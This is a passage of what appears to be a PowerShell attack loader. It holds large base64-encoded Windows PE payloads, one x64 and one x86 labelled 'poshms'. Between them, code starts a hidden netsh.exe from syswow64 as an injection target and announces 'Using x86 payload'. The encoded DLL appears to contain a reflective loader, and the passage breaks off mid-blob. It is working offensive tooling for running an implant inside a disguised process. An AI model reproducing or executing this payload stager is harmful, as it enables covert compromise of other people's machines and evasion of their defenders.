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IBAAhhAACWYQAAiNIBAJhhAAAXYgAALNABABhiAACoYgAAhM4BAKhiAACWYwAAbNIBAJhjAAAFZAAAhM4BAAhkAACHZAAAANIBAIhkAAD9ZgAA6NEBAABnAACiaAAAQM0BAKRoAABtawAAFNIBAHBrAADwawAA5M0BAPBrAAAxbgAASNIBADRuAADabgAAONIBANxuAAB7cAAALNABAHxwAABXcQAA5M0BAFhxAAAecgAA5M0BACByAAAMcwAAWNIBAAxzAAAVdAAA0NEBABh0AACjdAAAyNEBAKR0AADDdQAAzNIBANh1AAAzdgAALNABAFR2AACUdgAAhM4BAJR2AADIdgAA5NIBANB2AABGdwAAzNIBAEh3AACUdwAA5M0BALB3AAA9eQAAoM0BAEx5AAC4egAABNMBALh6AAABewAALNABAAR7AABwewAAhM4BAJx7AABYfQAAjNMBAFh9AAC5fQAALNABALx9AAAyfwAARNMBADR/AACgfwAAhM4BAKB/AACZgAAAZNMBAJyAAADdgAAAWNMBAOCAAAD6gAAAQM0BAPyAAAAWgQAAQM0BABiBAABQgQAAQM0BAFiBAACTgQAAqNMBAJSBAAAzgwAAzNMBADSDAAAOhQAAjNMBACCFAABahQAAhNMBAJyFAADkhQAAfNMBAPiFAAAbhgAAQM0BACCGAAAwhgAAQM0BADCGAACBhgAALNABAIyGAAAahwAALNABADCHAABEhwAAQM0BAESHAABUhwAAQM0BAGiHAAB4hwAAQM0BAHiHAACfhwAA/NMBAKCHAAD/hwAALNABAACIAAA9iAAAtNgBAECIAACeiAAALNABAKCIAAD1iAAAQM0BAPiIAABtiQAALNABAJyJAABwkAAAHNQBAHCQAADLkQAAQNQBANSRAAB7kgAAYNQBAHySAACakgAAONQBAJySAADikgAAQM0BAOSSAABYkwAAeNQBAFiTAAClkwAAhM4BAKiTAADmlAAAgNQBAOiUAAATlQAAQM0BAFyVAACqlQAAhM4BAKyVAADMlQAAQM0BAMyVAADslQAAQM0BAACWAAAvlgAAkNQBADCWAAB4lwAAZNYBAICXAAAEmQAAmNQBAASZAAAYmQAAONQBABiZAAAImwAAqNQBAAibAABnmwAACNUBAGibAACtmwAA5NQBALCbAADvmwAAwNQBAPCbAAAtnAAALNUBADCcAAD9nAAAsNQBAACdAAAgnQAAtNgBACCdAAAVngAAuNQBABieAAB/ngAAhM4BAICeAADBngAALNABAMSeAABYnwAAhM4BAFifAAD3nwAA5M0BAPifAAAxoAAAQM0BADSgAABWoAAAQM0BAFigAACJoAAALNABAIygAAC9oAAALNABACihAACFpAAArNUBAIikAABVpQAAmNUBAFilAAAzpwAAgNUBADSnAAB8qAAA8NcBAHyoAACzqQAAyNUBALSpAAD2qgAAbNUBAPiqAAA5rQAAUNUBADytAAC1rgAA3NUBALiuAADergAAQM0BABCvAADfrwAAhM4BAOCvAAAZsAAA+NUBACiwAABvsAAAANYBAHCwAABbsQAAQNYBAFyxAABXsgAApNkBAFiyAACTsgAAINYBAJSyAADUsgAAhM4BANSyAAB0tAAAfNYBAHS0AADJtAAAhM4BAMy0AAAhtQAAhM4BACS1AAB5tQAAhM4BAHy1AADktQAA5M0BAOS1AABctgAAoM0BAFy2AABLtwAAZNYBAEy3AACxtwAA5M0BALS3AADrtwAAXNYBAOy3AABxuAAAZMwBAHS4AAC1uAAALNABALi4AABquQAAmNYBAGy5AADjuQAA5M0BAOS5AAAvugAALNABADy6AAAguwAAvNYBACC7AABguwAALNABAGC7AACouwAALNABAMS7AAD7uwAALNABACy8AAA1vgAA+NYBADi+AABIvwAAENcBAEi/AAD0wAAALNcBAPTAAAC7wQAAoM0BAMTBAAD8wQAAvNcBAPzBAAATxAAA5M0BABTEAACRxAAAeNQBAJTEAAAkxQAAoM0BACTFAAAGxwAAkNcBAAjHAAC9yAAArNcBAMDIAADnyAAAQM0BAOjIAACnyQAATNcBAKjJAABPzAAAcNcBAFDMAADFzAAA4NcBANzMAAABzQAAQM0BAATNAAAHzgAA8NcBABDOAAClzgAAoM0BAKjOAADEzgAAQM0BANDOAABkzwAAoM0BAGTPAACzzwAA5M0BALTPAAD5zwAAPNgBAPzPAAAq0AAACNgBAEzQAADl0gAAENgBABDTAABV0wAAhM4BAGDTAACP0wAAQM0BAJDTAAAA1AAAZMwBAADUAAAP1QAAYNgBABDVAABP1QAAeNQBAFDVAACr2AAAjN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A8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAQAQAQAAmKKgorCiyKLQotii8KL4ogCjKKMwozijQKNIo2ijcKN4o5CjmKOgo8CjyKPQo7ikwKTIpNCkEKYYpiCmKKYwpjimQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKc4p0CnSKdQp1inYKdop3CneKeAp4inkKeYp6CnqKewp7inwKfIp9Cn2Kfgp+in8Kf4pwCoCKgQqBioIKgoqDCoOKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipEKkYqSCpKKmIr5CvmK+grwAAAFABABABAABAoVChYKFooXCheKGAoYihkKGYoaihsKG4ocChyKHQodih4KH4oQiiEKIYoiCiKKLwo/ijAKQIpBCkGKQgpCikMKQ4pECkSKRQpFikYKRopHCkeKSApIikkKSYpKCkqKSwpLikwKTIpNCk2KTgpOik8KT4pAClCKUQpRilIKUopTClOKVApVClWKVgpWilcKV4pYCliKWQpZiloKWopbCluKXApcil0KXYpeCl6KXwpfilAKYIphCmGKYgpiimMKY4pkCmSKZQplimYKZopnCmeKaApoimkKaYpqCmqKZwqniqgKqIqpCqmKqgqqiqsKq4qsCqyKrQqtiq4KroqvCq+KoAqwirAAAAYAEAEAAAACCgKKAwoDigAHABALgBAACYoqiiuKLIotii6KL4ogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAAAAgAEAhAAAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig8KwArRCtIK0wrUCtUK1grXCtgK2QraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AkAEAcAEAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm0KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnkKegp7CnwKfQp+Cn8KcAqBCoIKgwqECoUKhgqHCogKiQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKsAAADAAQAQAAAASKZgpmimAAAA8AEATAAAADCggKHIoeihCKIookiieKKQopiioKLYouCiWKVwqICoiKiQqJiooKioqLCouKjAqMio2KjgqOio8Kj4qACpCKkQqQAAADACABQAAABgqYipsKngqQCqKKoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + [Byte[]] $PEBytes = [System.Convert]::FromBase64String($poshms_64) +} +if ($Payload -eq 'x86') +{ + if ((!$procid) -and (!$procname) -and (!$NewProcess)) { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + $pst.FileName = "C:\Windows\syswow64\netsh.exe" + $Process = [System.Diagnostics.Process]::Start($pst) + [Int32]$ProcId = ($Process.Id).tostring() + } + echo "Using x86 payload" + $poshms_86 = "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